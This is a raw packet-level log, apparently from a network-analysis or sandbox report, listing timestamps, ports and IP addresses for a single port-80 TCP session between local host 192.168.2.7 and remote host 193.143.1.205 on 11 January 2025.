Jan 11, 2025 00:06:06.256707907 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256719112 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256730080 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256731987 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.256741047 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256752968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256756067 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.256762981 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256774902 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256784916 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256789923 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.256797075 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256829023 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.257567883 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257579088 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257591009 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257601976 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257605076 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.257612944 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257623911 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257635117 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257639885 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.257646084 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257652998 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257663012 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257675886 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257687092 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.257690907 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.257721901 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.258516073 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258528948 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258542061 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258552074 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258559942 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.258563995 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258574009 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258584976 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258594990 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258599043 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.258605957 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258616924 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258627892 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258634090 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.258640051 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.258656979 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.258683920 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.259994030 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.260015011 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.260027885 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.260037899 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.260046005 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.260050058 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.260063887 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.260103941 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.265273094 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.265291929 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266300917 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266314030 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266324997 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266355038 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266360044 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266366005 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266377926 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266406059 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266428947 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266453028 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266463041 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266474009 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266485929 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266494036 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266496897 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266509056 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266530991 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266541004 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266551971 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266555071 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266562939 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266578913 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266592026 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266596079 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266602993 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266628027 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266649008 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.266649961 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266661882 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.266695976 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.282968998 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.306754112 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.306768894 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.306781054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.306792974 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.306830883 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.306879997 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.344557047 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344572067 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344583988 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344597101 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344625950 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.344665051 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.344691038 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344703913 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344729900 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.344877958 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344891071 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344903946 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344919920 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344926119 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344927073 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344929934 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344930887 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.344937086 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.344980955 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.345051050 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.345062017 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.345112085 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.345218897 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.345231056 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.345242977 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.345261097 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383618116 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383646965 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383657932 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383671999 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383697033 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383702040 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383711100 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383723021 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383739948 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383749962 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383753061 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383763075 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383771896 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383795023 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383795023 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383807898 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383820057 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383858919 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383898020 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383909941 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383920908 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383929968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383940935 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383944035 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383963108 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.383970976 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383987904 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.383995056 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384017944 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384026051 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384032011 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384042978 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384068966 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384108067 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384144068 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384155035 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384166956 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384202957 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384207964 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384215117 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384226084 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384243011 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384301901 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384314060 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384325027 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384335995 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384339094 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384355068 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384386063 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384397984 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384412050 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384424925 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384429932 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384459019 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384542942 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384553909 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384566069 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384576082 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384586096 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384588003 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384603024 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384624004 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384633064 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384635925 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384648085 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384685040 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384701014 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384711981 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384743929 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384812117 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384830952 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384841919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384848118 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384879112 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384886980 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384897947 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384932041 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.384954929 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.384999990 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385011911 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385035992 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385055065 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385066986 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385083914 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385102034 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385127068 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385283947 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385296106 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385307074 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385318041 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385329962 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385333061 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385340929 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385349989 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385353088 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385365009 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385376930 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385380983 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385387897 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385400057 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385405064 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385415077 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385426044 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385426044 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385438919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385451078 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385451078 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385462999 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385472059 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385509014 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385729074 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385746002 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385756969 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385767937 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385780096 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385792971 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385801077 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385804892 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385817051 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385828018 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385834932 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385839939 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385850906 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385855913 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385863066 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385895967 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385906935 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385919094 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385931015 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385941029 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.385941982 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385953903 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385966063 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.385972977 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.386008024 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386008978 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.386018991 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386029959 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386040926 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386046886 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.386069059 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.386326075 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386337996 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386349916 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386362076 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.386368990 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.386403084 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.388132095 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.400373936 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432497025 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432528019 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432538986 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432550907 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432579041 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432589054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432600975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432607889 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432617903 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432629108 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432646036 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432657003 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432670116 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432681084 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432696104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432717085 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432777882 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432795048 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432806969 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432826996 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432842016 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432853937 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432861090 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432884932 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432913065 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432929993 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432940960 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432951927 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432964087 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432965994 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.432975054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432986975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.432990074 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.433012009 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472496986 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472510099 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472527981 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472539902 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472549915 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472564936 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472573996 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472578049 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472589016 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472608089 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472620964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472621918 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472626925 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472635984 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472641945 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472654104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472661972 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472665071 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472681999 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472743988 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472753048 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472784996 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472807884 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472825050 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472836971 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472842932 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472847939 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472858906 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472878933 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472904921 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472930908 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472942114 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472954035 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472966909 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472970963 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.472978115 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.472989082 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473000050 CET	80	49706	193.143.1.205	192.168.2.7
